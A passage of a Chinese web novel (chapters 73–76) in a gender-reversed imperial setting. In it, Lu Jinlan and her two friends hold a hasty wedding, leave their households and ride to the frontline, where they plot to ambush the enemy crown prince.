陆锦澜听到他说起这事儿,颇为诧异,“我记得你和无辛那些个应子不怎么对付,怎么肯给他们下帖子?” 宋凛丞笑道:“这是我们男人的心思,我不告诉你,枉你考多少状元也猜不到。” 陆锦澜略一寻思,“这也不难猜,当然是因为无辛和我的关系,你请了如蓁的未婚夫,要是不请无辛家的小郎,倒显得你厚此薄彼,怕她不高兴。” 宋凛丞道:“这只是其中之一,最主要的是我想让他们看看,我现在的日子。” “你现在的日子?” “对啊,他们当时那么瞧不起我,说我十指不沾阳春水,以后嫁到妻主家不知该如何是好。我偏要让他们看看,我不仅嫁了全天下最好的妻主,住着可以跑马的皇家别院,还有了身孕。你说,他们会不会忮忌我?” 陆锦澜忍不住笑着摇头,“你请人家来,就为了和人置气啊?” “我不会明说的,我已经跟雨眠说了,让他帮我点他们几句,我就算出气了。” 陆锦澜点了点头,“你开心就好。” 到了荷花宴那日,项如蓁和晏无辛到处找不到陆锦澜,最后发现她站在廊下,隔着池塘往屋内观望。 二人抱怨道:“你怎么闷不吭声跑这儿来了?让我们好找。” 陆锦澜嘘了一声,“别吵,咱们悄悄的看好戏。” 二人顺着她的视线看过去,好家伙,里面一屋子全是男人。 都说三个男人一台戏,今天这出戏怕是要大唱特唱了。 宋凛丞拉着金雪卿在桌前坐下,雨眠抱着孩子和七郎一同作陪,方卿等人在暖炕上坐着。 各色茶点已备,怀星呈上两匣子图样。 宋凛丞笑道:“大家都帮着选一选,这是要给雪卿绣到喜服上的绣样。虽说婚礼在两个月后,但提前准备时间充足,才能确保做得精致。” 雪卿忙道:“劳你费心操持,已经够麻烦的了。不用这么精细,我和她都不在意这些。” 雨眠笑着打趣道:“还没成亲就这么俭省啊?还你和她,连名字也不称呼,倒是跟我们说说,你和谁啊?” 一屋子人都笑起了起来,雪卿脸一红,讷讷的说不出话。 凛丞笑道:“快饶了他吧。我听我家妻主说,雪卿头次遇见项少娘是在学院,他当时便只和项少娘说话,晏少娘差点以为他是个哑巴。” 大家哄然一笑,连雪卿自己也忍不住笑道:“我那时候还以为晏少娘不是好人,有些害怕她。” 怀星道:“晏少娘只是爱开玩笑,其实她人很好的。对我们这些下人也很和蔼,每次来府里,都逗得大家很开心。” 方卿探头看了一眼,走到怀星身边,“呦,你就是我家妻主在府里收的徒儿吧?怪不得妻主近日不爱在家,总往这儿跑呢,原来陆府里有宝贝,勾着她来呢。” 其他几位应子一听便围过来,七嘴八舌道:“我瞧瞧,这个弟弟是不是生了三头六臂,怎么把我们都比下去了?” “你是会弹琴还是会唱曲儿?或者,会跳舞?总该有个才艺吧?” “跟我们说说,你是怎么拜妻主为师的,她平日里都教你什么呀?” 怀星被围着不知如何开口,宋凛丞给雨眠使了个眼色。 雨眠将孩子交给七郎,起身笑道:“好啦,刚才不见你们急着为晏少娘辩解几句,这会儿倒是一个比一个话多。依我看,你们输就输在不会说话。当年你们怎么说我家大夫郎来着?” “说他又不会厨艺,又嫌弃他不会烤鱼。当时我们妻主就说,他嫁了人是要享福的,不用事事亲力亲为。你们瞧,如今这话不是都应验了吗?” “如今我家大夫郎操持府中事务,有条不紊,待我们这些小郎和孩子也极为宽厚。别说京城,也别说嬅国上下,就是左右邻国都算上,谁不羡慕我家大夫郎嫁得好妻主?” “我看晏少娘观察入微的本事,你们是一点没学到。你们哪里会看人?还是多吃些东西,少开尊口吧。” 他数落得那些应子一个个噤了声,宋凛丞待他说完,才道:“雨眠,你说这些做什么?都是没成婚之前的事了,你不说我都忘了。” 方卿眼睛一转,笑道:“说起来,咱们第一次见面,宋公子和雨眠还差点打起来。如今你们共侍一妻,关系倒是好得让人羡慕。” 金雪卿惊道:“还有这样的事啊?” 宋凛丞尴尬一笑:“那也是旧事了。” 雨眠忙道:“不打不相识,别说咱们,就是晏少娘和项少娘初见面时,也吵了一架呢,现在还不是情同姊妹。我家大夫郎心胸宽阔,自然是不计较这些的。他待我和七郎都很好,是吧?七郎。” 七郎观战了半天,脑子和嘴都跟不上,一句话都插不进去,这会儿终于有机会开口,他忙呆呆的点头,说道:“是的。” 宋凛丞噗嗤一笑,“宴席应该已经准备好了,咱们去用膳吧。” 见他们终于转移阵地,晏无辛松了口气,“老天奶啊,他们终于说完了,每个人都抢着说话,吵得我耳朵都快起茧子了。我说锦澜,你那三个男人怎么合起伙来欺负人?” 陆锦澜笑道:“这话不对,七郎拢共就说了两个字,他看起来像是合伙的样子吗?至于凛丞和雨眠,确实是有点得理不饶人,我代他们给你赔罪。不过,他们只有两张嘴,你们家来了八个人,八张嘴是怎么被两张嘴欺负了的?” 晏无辛不服道:“他们平常争起宠来,口齿伶俐得很。今儿也不知吃了什么粘嘴的糕点,一个个变得笨嘴拙舌的。也就方卿还能支应几句,哼,下次我只带方卿来。” 项如蓁笑道:“他们男人之间互相挤兑几句,你何必放在心上?由着他们去吵吧。” 陆锦澜:“就是,他们开席,咱们也开席。走,吃饭去。” 晏无辛乍一听觉得没毛病,仔细一想:不对啊! “哎我说如蓁,你还说我呢。要是被挤兑的是雪卿,你早急了。” 项如蓁道:“他们挤兑雪卿做什么?雪卿和他们又没有旧怨。” 晏无辛一想,“也是,我早就说他们话多,叽叽喳喳的净惹事。算了,我得把怀星叫到咱们这边伺候,不然我那群应子非得欺负他不可。” 晏无辛过去叫人,陆锦澜笑着摇头,“哎,这样的日子真是有趣。有时候我不禁想,就这样天长日久的过下去,也挺好的。” 项如蓁奇道:“谁不让你这样过下去了?” 陆锦澜仰头望天,“命运,命运未必如此安排。” 她说着从袖子里抽出一封信,“这是我岳母刚从边关寄来的书信。” 项如蓁忙问:“出什么事了?” 第74章 陆锦澜叹道:“她什么都没说,只是叮嘱我,凛丞还有三个月就生了,让我不要离京。你说,好端端的,她为什么会担心我离京呢?” 项如蓁心里咯噔一下,“该不会是前线的战事,又有了变化?” 陆锦澜摇了摇头,“不好说,前些天碰到学监,她说最近坏消息很多,学院派出去的学长,已经牺牲了十二个了。” 项如蓁眉 头紧锁,“开学咱们就是二年级了,或许可以提前外派。这仗打了大半年,还不见亮,我倒想到前线去,尽一份力。” 陆锦澜劝道:“你就快大婚,别惦记去前线了。其实这种事,也由不得咱们想或者不想,等通知吧。” 这话说完不到半个月,前线又传来败报。皇上下旨,将皇家学院的学生再次派往前线,以替补伤亡的军官。 三人看完了外派名单,一同去找院长凌知序,因为那份名单上,没有她们的名字。 凌知序正在家里整理书斋,见三人冲进来,她只是淡淡的瞥了一眼,似乎毫不意外。 陆锦澜忙问:“院长,为什么名单上没有我们?” 凌知序反问道:“名单上也没有晏钰,你们怎么不问问为什么?” 晏无辛道:“晏钰是皇上的女儿,皇上舍不得她上战场,可我们又不是……” 凌知序哼了一声,笑道:“对,你们不是的皇上女儿,可你们的身份也不普通。没出现在这份名单里的人,都是有背景的,就拿锦澜来说吧。” 凌知序说着从梯子上下来,掸了掸身上的尘土,“我猜,圣上和宋将军早有默契。宋将军如今在前线挂帅,带着三十万宋家军血战沙场,已然是不顾安危死守疆土。战场上刀光剑影,生死难料,她怎么可能让你再到前线去?” “所以,在上报名单的时候,圣上便提前告诉我,陆锦澜这个名字不必报上去。” 她看向陆锦澜,“这是你岳母的一片苦心,你就不要再问了。至于你们两个,据我所知,名单经过相尊大人之手,她过目之后,便亲自将无辛的名字划了下去。相尊大人是慈母心肠,自然不希望无辛到前线去吃苦受罪,甚至还可能有性命之危。” 项如蓁忙问:“那我呢?” “你?”凌知序无奈的一笑,“如蓁呐,你现在是今非昔比。若是在从前,你想不去恐怕都不行。可现在,也有人为你而奔走。” “本来名单上第一个就是你,可是旨意还没下,御史令金大人便听说了。她跑到皇上面前嚎啕大哭,说她的女儿已经英勇牺牲,而她在朝为官大半生,自问呕心沥血忠心耿耿兢兢业业。” “她说如蓁马上是她金家的儿主,请皇上怜悯她失去了女儿,金家只有如蓁这一个指望,不要让如蓁再去犯险。” “金大人是老臣,位列三尊。她如此哀声恳求,皇上还能怎么办?自然将如蓁的名字勾掉了。” 凌知序一番话,让三个人都沉默了。 她们互相看了看,这才猛然意识到,不知不觉间她们都有了属于自己的后台,而且是很硬的后台。 大家沉默半晌,陆锦澜方道:“这么做,会不会有人觉得不公平?” 凌知序抬头看了她们一眼,“会觉得不公平的人,不都没去吗?” 三人哑口无言,确实,整个学院就她们最能闹事,而且是带头闹事。 每次一有什么不公的事件,很快就能看见三人迅速纠集一帮拥护者,奋力挥舞着拳头,呐喊着:“不公!不公!” 然而命运的幽默之处就在于此,突然一个猛回头,把她们甩到自己曾经的对立面,让她们措手不及,甚至都来不及适应。 凌知序安慰道:“你们不必有心理负担,这样的事大家都习以为常。你们回去吧,该做什么做什么。只是这么一来,学院就剩你们四个学生了,暂时不会开课。你们在家好好温书,别等到开学的时候,什么都忘光了。” * 陆锦澜回到忠勇园,心事重重的进了宋凛丞的房间。 “你回来了?” “嗯。” 陆锦澜坐在窗前,愁眉不展。 宋凛丞察言观色,忙问:“发生什么事了?” 陆锦澜道:“皇上今日下旨,将皇家学院的学生派往前线。” 宋凛丞一怔,眼里满是担忧,“那……那你什么时候出发?” 陆锦澜摇了摇头,“名单上没有我。” 宋凛丞松了口气,“没有就好。我娘在前线,已经够让我担忧了。你若是也去,只怕我会终日提心吊胆。” 陆锦澜瞥了他一眼,“可我若不去,岂不成了缩头乌龟?让你娘一个老人家在前线浴血奋战,我却躲在京城苟且偷安,我如何自处?” 宋凛丞沉默片刻,低头不语。过了许久,他方道:“除了你,别人都要去吗?” “除了我,如蓁、无辛还有大皇女,其她同学都去。时间紧急,她们明日就启程了。” 宋凛丞想了想,怪道:“她们都去?凌侯的女儿凌照人也去?” 陆锦澜笑了笑,“她当然要去,凌家军还有四十万兵马。她是凌之静的女儿,就算凌家军全线溃败,也会有人拼死保她安然无恙的。她去与不去,都不会有性命之忧。” 宋凛丞隐隐已经猜到了她的想法,有些急切的握住她的手,紧张道:“那你呢?你已经决定要去了,是吗?” 陆锦澜微微点头,“是。我知道你为我担心,你和七郎都快要生了,我应该守着你们。” “可是,此次战事非比寻常。姜曲两国同时侵犯嬅境,宋家军和凌家军全都投入了战斗,打了半年还是不见成效,败报时不时传来。我的同窗、学长都上了前线,有的人甚至已经牺牲了。” “这个时候,如果我还在家里,守着夫郎孩子,吃喝玩乐,你觉得我会高兴吗?” “我可以不在乎天下人怎么看我,可我不想自己看不起自己。” 宋凛丞满心顾虑,“可……可项姐姐就要大婚了,你在这个时候离开……” 陆锦澜摇了摇头,“我们今日分手的时候,如蓁已经往金府去了。虽然她什么都没说,但我知道她一定会去。至于无辛,她知道我俩要去,一定也想去。不过相尊大人未必会同意,其实她不去倒好,她可以留在京城照应我和如蓁的家眷,我们两个也能更安心。” 宋凛丞轻叹一声,伏在她的膝上,无奈道:“既然你已经想好了,恐怕我说什么都拦不住你。我虽是夫道人家,也懂得国家国家,无国便无家的道理。你要去便去吧,只是你得答应我,一定要平安回来。” 陆锦澜摸了摸他的脸颊,“放心,我可以跟你保证,我一定会保护好自己。不管你听到任何消息,都要坚信,我一定没事。” “一定?” “是,一定。” * 与此同时,项如蓁正跪在金云凝面前,恳求道:“您就让我去吧。” 金云凝眉头紧锁,“理由?” 项如蓁一脸正气道:“好女儿理应保家卫国。” “你?”金云凝差点被项如蓁气晕过去,“你以为上战场是什么好事吗?随时可能没命的。” 项如蓁慨然道:“我不以为是什么好事,可正因为危险,我才应该去。不然,让谁去呢?我们这些人,平常被人称为人中龙凤天之骄子。如今朝廷正是用人之际,别人都去,我没道理不去。” 金云凝瞪了她一眼,“你那两个朋友,不也没去吗?” “她们会去的,我们总能想到一块去,不然也不会成为朋友。” 金云凝无奈的叹了口气,“蓁儿啊,一个人不可能改变战争的胜负,你又何必如此执着呢?何况,你万一有个不测,你让卿儿如何是好?” 项如蓁垂下眼眸,无奈道:“如果我有了万一,亲事作废,您就再帮雪卿找个好妻主,好好的疼他照顾他。” “不要!”金雪卿哭着从门外冲了进来,质问道:“什么叫亲事作废?不许作废。我这辈子已经认定你了,你休想把我推给别人。” 项如蓁按住他的手,安抚道:“我没有要把你推给别人,我是说如果有个万一……” 金雪卿哭道:“什么万一?如果你像姐姐那样为国尽忠,我就做个寡夫。” 金云凝实在听不下去了,皱眉道:“胡说什么?什么寡夫?你还没嫁过去呢。” 金雪卿嘴一瘪,看起来更委屈了。 他含着泪问项如蓁:“你什么时候走?” “明天。” 他的眼泪啪嗒啪嗒的往下掉,“这么快?晚一天行吗?” 项如蓁一愣,“你要做什么?” * 陆锦澜要走,宋凛丞便命人收拾包袱。陆锦澜将楼雨眠、陆七郎也叫过来,不得不叮嘱他们几句。 “我这一走少说也得一年半载,我不在家,你们要好好相处。平常争风吃醋也就算了,我不在,你们要互相帮助。照顾好自己,也要照顾好孩子。” 她将备好的药拿出来,“这个留给你们生产的时候吃 ,雨眠知道怎么用,回头让他告诉你们。” 她看了看宋凛丞和陆七郎的肚子,还是有些担忧,“平掌柜那边已经准备了最好的医师,但我还是不放心,一会儿我给云州写封信,让我爹过来照看着,他有经验。” 七郎红着眼道:“你就不用操心我们了,战场凶险,你才最应该小心。” 陆锦澜一笑,“你忘了我跟你说过的话了?我有挂,不会有事的。你们好好养胎,不要瞎担心。” 雨眠道:“怎么能不担心呢?事发突然,我们也没个准备。要不你过些日子再走,我去庙里求个平安符。” 大家正七嘴八舌的说着,洗墨来报:“少主,晏少娘来了。” 陆锦澜忙道:“她这么晚来一定有事,快请她进来。” 第75章 晏无辛一进来,见男人们都泪眼汪汪的,调侃道:“呦,我来得不是时候。锦澜,这一个个都舍不得你,你还去不去?” 陆锦澜一笑,“去,你呢?” 晏无辛:“我也去。” 陆锦澜诧异:“你也去?相尊大人同意了?” “当然不同意,我娘把我臭骂了一顿,说我那三脚猫功夫还想逞英雌,让我老实在家待着。不过,我是那老实人吗?” 晏无辛说着举起手中的包袱,“我在你这儿躲一宿,明天咱们一起出发。” 陆锦澜喜道:“好啊,我还以为你走不成。” 晏无辛笑道:“走不成也得走,你俩身边没有我,我还不放心呢。” 两人正说着,项如蓁也来了。 项如蓁看了她俩一眼,已经猜到了大概,便商量道:“咱们能不能晚一天走?” 二人忙问:“你要做什么?” 项如蓁一笑,“成婚。雪卿想以夫郎的身份,等着我回来。” 二人愣了一下,晏无辛皱着眉一寻思,“这时间来不及啊,距离原定的婚期还有一个半月呢,新房还没布置。这么晚了,上哪儿去找吹打班子?” 项如蓁果断道:“都不要了,一切从简。反正喜服已经做好了,明早你们陪我去接亲。简单的拜个堂,新房有一对红烛就好。” 陆锦澜道:“那可不行,趁着城门还没关,我让洗墨赶紧带人去那边布置一下。时间紧急,能弄多少算多少吧。宾客来得及请吗?酒席怎么办?” 项如蓁摇了摇头,“宾客就是你们俩,再加上你们两家的男人。院长家离得近,我明早去请她。除此之外,没有别人了。金家那边也不打算大请宾客,只有自家人。摆个两三桌,足够。” 这一切都太突然了,陆锦澜叹了口气,“好吧,那咱就喝完你的喜酒,再去上马杀敌。” * 虽说一切从简,但该有的喜气丝毫不减。在宴席上,项如蓁作为新娘官豪饮数杯,把仅有的宾客都喝倒了。 金云凝和凌知序各自被抬回府,陆锦澜趁着还有意识,不得不劝项如蓁:“知道你高兴,你酒量好,但你也别再喝了,我们实在陪不起了。” 晏无辛:“就是就是,留点儿力气,提前去洞房吧。” 项如蓁脸色泛红,微微一笑,“好,那你们帮我支应着,我去陪陪雪卿。” “等一下!”晏无辛晃晃悠悠追上去,陆锦澜急忙扶住她。晏无辛见四下无人,支吾着开口:“如蓁,那个……你会不会啊?” 项如蓁一愣,“什么?” 晏无辛脸红道:“你家人又不在,我看也没人能告诉你。那个,怎么洞房你知道吧?” 陆锦澜扶着墙笑到发抖,项如蓁沉着脸道:“我又不傻。” 晏无辛从怀里摸出一本小册子,“给,这是我的私藏,送给你学习学习。” 项如蓁看了眼露骨的封面,皱着眉犹豫要不要接。 陆锦澜劝道:“如蓁,你这人正经得一塌糊涂,也该看点不正经的,免得人家以为你不解风情。拿着吧,所谓世事洞明皆学问,这个……这个房事也值得一学。” 项如蓁点头,“颇有道理。”她收下晏无辛的小册子,转身去了书房。 陆锦澜看着项如蓁坚定的背影,喃喃道:“相信她一定学有所成,走吧,咱们也该回去了。” 陆锦澜拐回大厅,楼雨眠立刻迎了上来,“我早起去给你求了平安符,道长说要将这个缝在贴身的衣物上,可以保佑你刀枪不入。” 陆锦澜一笑,“这种话你也信?” 楼雨眠垂下忧郁的眼眸,纤长的睫毛映出一片暗影,“只要是对你好的话,我都信。” 陆锦澜心头一软,握住他的手,“那咱们现在就回家,你好把平安符给我缝上。” 晏无辛倚在墙边,看着陆锦澜带着她的男人们往外走,自言自语道:“好好好,你们都有人陪,我倒成孤家寡人了。” 她刚准备去看看她那些应子走没走,手臂忽然被人扶住,“师傅,你喝醉了吗?” 晏无辛醉眼朦胧的定睛瞧了瞧,“是怀星啊,乖徒儿,送师傅上马车吧。” 怀星将晏无辛扶上马车,她已经昏昏欲睡了,嘴里咕哝了一句:“送我回私宅,走之前我再去开个荤,上了战场就得天天吃素了……” 怀星暗暗翻了她一眼,低声对车妇道:“回忠勇园。” * 金雪卿蒙着盖头,忐忑的在新房等着。才到午后,陪嫁男仆便快步来报:“主君过来了。” 金雪卿连忙理了理衣襟,端正坐好。 门吱嘎一声被推开,他紧张得挺直了脊背,不自觉的吞咽了一下。 盖头被掀开,金雪卿抬眸望去,只见项如蓁穿着大红喜服,她那般高大挺拔,龙眉凤目英武不凡。 她目光炯炯的望着他,眼神专注而直白。 金雪卿被看得心旌摇曳,脸色微红,轻声唤道:“妻主。” “嗯。”项如蓁应了一声,紧接着抬起手捏住了他白净的脸颊。 “疼……”金雪卿轻声抗议。 项如蓁眼底浮现出一丝笑意,用指背蹭了蹭他可怜的被捏到发红的皮肤,解释道:“我没用力。” 金雪卿嘟囔道:“妻主天生神力,你不用力已经弄疼我了,你若用力,恐怕我的脸要被你掐肿了。” 项如蓁一笑,“不会的,我舍不得。” 她转身看了看屋内的闲杂人等,“这里用不到你们了。” 几个男仆鱼贯而出,项如蓁亲自端来两杯酒,和金雪卿喝了交杯酒,而后歉疚道:“婚礼太过仓促,委屈你了。” 金雪卿忙道:“不委屈,能嫁给你,我很满意。” 项如蓁点了点头,“那就好,脱衣服吧。” “啊?”金雪卿瞬间脸红如血,“可……可现在还是白天。” 项如蓁淡定道:“没有人规定洞房一定要在晚上。” 她说着便自顾自解开衣衫,将一本小册子丢在床边。 金雪卿瞥了一眼火速转过头去,“这……这是什么?” “教材,我觉得我们应该一起看。”项如蓁说着将人拉到跟前:“得罪了,你动作太慢,我帮你脱。” * 第二天一大早,陆锦澜从雨眠房里出来,对洗墨道:“派人去晏少娘院里,叫她来大厅一起用早膳。吃完了我们就该出发了,如蓁应该快过来了。” 洗墨笑了看了她一眼,“少主,要不您还是再等一会儿吧。晏少娘昨天喝醉了酒,怀星在她房里伺候的,呃……现在那院儿还没动静。” 陆锦澜怔了一下,渐渐勾起嘴角,“行,那我先吃。” 陆锦澜吃饭的功夫,男人们已经帮她将行装打点好,围着她又絮絮叨叨的说了很多话。 宋凛丞道:“家里的事你不用操心,等我生了会立刻写信告诉你。如果是女儿叫安北,可如果是儿子,叫什么名字?” 陆锦澜咬了口三鲜馅饼,含糊道:“儿子的话就叫……我一时想不起来,儿子的名字你自己取吧。” 陆七郎忙问:“那我呢?我如果生了女儿,叫什么?” 陆锦澜道:“叫安西,东北西南,咱们家先按这个顺序取名。” 陆锦澜刚吃完擦了擦手,楼雨眠将陆安东抱过来,“你这一走不知道什么时候回来,抱抱东儿吧。” 陆锦澜将孩子接过来,握了握她的小手,“娘要去打仗了,等娘回来教你练武。以后咱们上阵母女兵,一起大杀四方。” 小婴儿咿咿呀呀的应着,陆锦澜将孩子还给她爹。一抬头,见项如蓁满面春风的背着包袱进来,“早!无辛呢?” 陆锦澜也拿上包袱,“走,咱们一起去叫她。” 二人进到无辛所住的院子,刚要开口,忽听屋内啪一声脆响,不由得脚步一滞。 紧接着便听晏无辛骂道:“逆徒,谁准你以下犯上?” 陆锦澜敛起脚步声,悄悄从窗外观望,只见怀星跪在地上,捂着脸,委屈道:“师傅昨晚准了的。” 晏无辛气道:“胡说!我喝醉了你没看见?醉话能当真吗?我告诉你,就当什么都没发生过,不许你再胡思乱想。” 陆锦澜还想再看看,项如蓁咳嗽一声,“无辛,该走了。” 晏无辛沉着脸,拎着包袱出来,陆锦澜忙问:“要不要吃点东西再走?” 晏无辛:“没胃口,气饱了,走吧。” 三人话不多说,白天闷头赶路,只有夜晚在驿站歇脚的时候,才会恳谈一番。 距离前线越来越近,大家脑子里想的事情也越来越多。 项如蓁:“咱们没有圣旨,比大部队晚出发了一天,现在还没追上她们,到了前线该怎么办?” 陆锦澜道:“大部队无非就两个去处,一部分加入凌家军,去打姜国,一部分加入宋家军,打曲国。两军大营离得不远,咱们三个自由人,自己分配。要我说,咱去加入宋家军。有我岳母在,不会让咱们坐冷板凳。” 晏无辛赞同道:“对,就去宋家军。你们别忘了,凌家军跟咱们有仇。咱们上次在北州搞没了凌之静十万大军,她做梦都想掐死咱们。咱要是两眼一抹黑跑到凌家军阵营里,比跑到敌军阵营都危险,怎么死的都不知道。” 项如蓁道:“那就先去宋家军吧,不过凌家军节节败退,我看咱们早晚躲不掉。” 晏无辛:“躲不掉再说,能躲先躲。不是我贪生怕死,死在战场上算英雌,死在自己人手里那叫窝囊。哎,咱们实话实说,你们怕不怕死?” 陆锦澜:“我不怕,因为我确信我不会死。真有危险的时候,你们往我身后躲,保准你们没事。” 晏无辛闭上眼睛盖上被子,舒展着身体道:“你就吹吧,你又不是神仙,哪有不死之身。” 陆锦澜笑道:“我有挂。” 晏无辛:“又来了,动不动就说你有褂,咱也没看见你那个褂在哪儿。不过我倒是承认,你比我有武学天分。平常没见你练功,咱们刚认识的时候你还不是我对手呢,现在我勤学苦练,都打不过你。咱们三个,我以前只是成绩垫底,现在武功也垫底了。” 项如蓁笑了笑,从包袱里取出一个物事,“无辛,这个给你。” 晏无辛把眼睛掀开一条缝,猛地坐了起来,“金丝软甲?” “是,雪卿说这是金家的传家宝,可惜当初一淮学长连夜被召往前线,家里没来得及给她。大概我岳母那时也想不到,战事会打得如此惨烈。说来也怪,凌家军有四十万大军,姜国兵马不到三十万,谁能想到会一败再败呢?” 项如蓁说着叹了口气,摸了摸轻薄柔软的金丝软甲,“雪卿昨天把它交给了我,但我用不上。我和锦澜功夫都比你好,你穿着吧。” 晏无辛嘿嘿一笑,“你的夫郎给你的,我可不好意思要。但我早就听说这东西是个宝物,第一次见。我先穿上试试,看看什么感觉。” 她刚套到身上,驿站的人在外面拍门,“晏少娘出来一下,外面有人找。” 陆锦澜皱眉道:“咱们在这儿人生地不熟的,谁会找你?你等我穿件衣服,和你一起出去。” 晏无辛把她按住,“不用担心,我有金丝软甲我怕谁啊?我去看看怎么回事。”—— 作者有话说:三人的CP线其实都有蛮多有趣的点,但急着去打仗,就不展开写了。以后如果有机会写番外,好好发一发各种口味的糖~ 第76章 晏无辛提着她的凤鸣长刀出门一看,竟然是她的近侍叶游。 叶游连日赶路,满面风尘,见到晏无辛很是激动,扑通一声跪倒在她面前,眼眶发红道:“主子,可让我追上您了。想必您这一路上定是昼夜兼程风餐露宿,您还吃得消吗?” 晏无辛笑着扶她起来,“这才哪到哪儿?我这还没到战场呢,你倒先担心上了。我什么事都没有,你跟过来干什么?是不是我娘让你来的?” 叶游揉了揉酸胀的眼睛,“是,相尊让我务必追上您,好把东西交给您。” 叶游解下身上深重的包袱,说道:“这是相尊花重金命人赶制的金麟明光甲,做工一流,用料极其结实,可为主子在战场上多加一重保障。” 晏无辛打开一看,里面竟然竟然有三套。 她不由喜道:“我娘何时这么贴心?竟然也为我的朋友准备了战甲。” 叶游犹豫了一下,压低了声音道:“相尊说,她是不得已而为之。一来怕主子你心太善,把战甲给别人穿。二来怕人心险恶,别人抢你的战甲穿。所以准备了三份,希望你那两位朋友靠得住。” 晏无辛无语得翻了个白眼,“我的交友运比我娘好多了。” 她说着扯开衣襟,给叶游看她刚穿在身上的金丝软甲,“看见没?如蓁给我穿的。回去告诉我娘,让她别操没用的心了。” 不管怎么说,三人总算都有了装备,又赶了几天路,终于到达灵州前线。 这日清晨,三人三骑,纵马穿过灵州城,刚一靠近灵州大营,便听到了数万兵马调动的马蹄声,整片大地都在跟着颤动。 动物,比人更容易感知到危险。但只有勇敢的人类,会迎难而上,在万重危机中,觅得一线生机。 她们的坐骑发出不安的低鸣,三人不约而同的拍马向前,逼进战场。 途径一片密林时,七八个兵勇手持兵刃冲了出来,厉声拦住了她们,“站住!军事重地,不得靠近!” 陆锦澜连忙报上姓名,“我是陆锦澜,我要见宋将军。” 一名小兵立即斥道:“胡说!陆大人远在京城,休想冒名顶替,赶紧退下,否则军法处置。” 陆锦澜无奈的叹了口气,刚要去摸令牌,林中又冲出一人,高声道:“不得无礼!” 那人说着快步上前俯首见礼,“参见陆大人。” 陆锦澜听到她的声音便觉得有些熟悉,伏在马上仔细一瞧,竟然是个熟人,不由喜道:“左隋之!” 她一把拍开左隋之见礼的手,翻身下马,激动地抱住了她。 项如蓁和晏无辛也连忙下马,拉着左隋之的手,亲热的 寒暄起来。 武试的时候,大家都对左隋之印象深刻。可惜她那时对打的是楚易舒,所以遗憾落选。 不过她和那群外地学子一起在晏无辛的山庄厮混了数日,三人都和她颇为投缘。 晏无辛忙问:“神京一别,许久不见,你怎么在这儿?” 左隋之笑道:“我母亲在宋将军帐下做监粮官,边境开战后,宋家军招募新兵,我便第一时间报名入伍。如今做了一名小小的百妇长,以后要多多仰仗各位大人提携了。” 左隋之说着又看向陆锦澜,“听说你已经是四品骁骑校尉了,恭喜啊,校尉大人。” 陆锦澜笑道:“你少打趣我,我这官儿纯粹是我岳母为了说出去好听,帮我空口求来的。比不上你们,是沙场征战真刀真枪拼出来的。” 这时左隋之带领的那支小队都在一旁,数十人围着,听见陆锦澜这么说,颇感震惊。 除了上次岳蝉带的那一队人马,大部分宋家军的兵都没接触过陆锦澜。 大家只是听说宋将军的儿子,嫁给了云州富商的嫡长女陆锦澜。 而这个陆锦澜风评很是复杂,有人说她风流成性,有人说她义薄云天,也有人说她才华独步天下。反正好多故事从京城传到灵州,早就传得五花八门,说什么的都有。 当兵的好像天生就排斥有才名的书生,提起来都颇为不屑道:“会吟诗作对写文章有什么用?能把敌人写趴下?” 在她们的视角里,都觉得宋凛丞是被陆锦澜这个风流才女给骗了,私下都暗自不平。 有人扼腕叹息,“都怪宋将军的夫郎,没生出个女儿。唉,将来所托非人,咱们宋家军前途堪忧。” 有人偷偷埋怨,“要我说,怪宋公子识人不明,咱们大将军何等英勇,他不照着他娘找个军中英才,怎么找了个写诗的?” 有人羡慕忮忌,“不过这位陆大人运气真好啊,攀上这样的岳家。别人顶多是平步青云,她是旱地拔葱,上来就是四品校尉。” 有人无奈调侃:“怪咱们没有那好命,下辈子也托生个文曲星,娶个大将军的儿子,不就什么都有了?” …… 军中大概流传着以上几种论调,然而今日一会,众人见陆锦澜英姿飒爽态度潇洒,和大家想象的文弱书生形象完全不同。 她言语间如此磊落坦荡,将自己不劳而获的官位说出来,倒让这些私下编排她的人,面上讪讪的,有些不好意思。一时间,也不觉得陆锦澜讨厌了。 四人寒暄了几句,陆锦澜便道:“我们是来前线帮忙的,你给指个路吧,我先去见宋将军。” 左隋之为难道:“今日交战,双方人马此刻已经摆开了阵势,大战一触即发。宋将军现在是靖边大元帅,在阵前督战,此刻一定不得空。我等奉命在侧翼侦查,你们不如等等,等收兵后再去拜见。” 陆锦澜想了想,“那你先带我们看一眼阵前的形势,然后再说。” 左隋之带着三人上了上头,从高处望下去,山下的兵马密密麻麻和蚂蚁一般。 从左隋之口中得知,双方近半月已经交战了六次,均有胜负。上次一战是三天前,大家各自休整,就是为了今日的大战。 三人拿着望远镜观察着阵型,左隋之在一旁解说道:“曲国疆土人口都不如咱们嬅国,平常也不敢犯我边境。这次不知怎么一反常态,投入了二十几万兵马,几乎将家底都掏出来了,看来要和咱们死磕到底。” 陆锦澜望过去,见宋婧骁手握帅令,一身戎装端坐帅台,威仪如山,身后的宋字大旗迎风招展。 而曲国军中,在战车上指挥的是一个不到三十岁的少年将军。 她一身黑金战甲,束发金冠,身后悬着萧字战旗,手边竖着一支三尖两刃戟,威风凛凛。 晏无辛好奇的问:“曲国的主将是谁?” “皇储萧承英,她是曲国皇帝的第三个女儿,刚刚被立为皇储,据说文韬武略无一不能。刚开战时她还亲自上阵,斩了我方两员大将,确实有些功夫。不过元帅亲自上阵,她便不敢上前应战了。” 陆锦澜又问:“她的功夫和如蓁比,如何?” 左隋之想了想,“应该差不多。” 陆锦澜点了点头,心里有了数。 项如蓁一笑,“你又在想什么鬼主意?” 陆锦澜笑道:“所谓,擒贼先擒王。我在想,曲国这么重视边境之战,连皇储都上阵了。你们说,如果这个皇储死了,她们还有没有心情再打下去?” 晏无辛赞道:“好啊,宰了她咱们就是大功一件,眨眼就可以回京领赏了。” 左隋之连声劝道:“那是根本不可能的。你们看,萧承英的战车在万军从中十分靠后,身边还有甲士环绕。她面前少说也有二十五万大军,别说近身靠近,就是射箭也够不到她。” 陆锦澜点了点头,“确实,她面前有二十五万大军,但她身后就没有二十五万大军了吧?” 陆锦澜指了指地图上的某处,“如果从这里绕过去,从后面切入,大概只需奔袭两三里,便可以杀她一个措手不及。” 左隋之还是连连摇头,“那边是一个高达十几丈的峭壁,她之所以敢在那儿,就是确信那里足够安全,根本没人能过去。” 项如蓁道:“只有十几丈?以我们三个的轻功,可以上去。” 晏无辛点头道:“没错,而且那么偏僻的位置,她们想不到。” 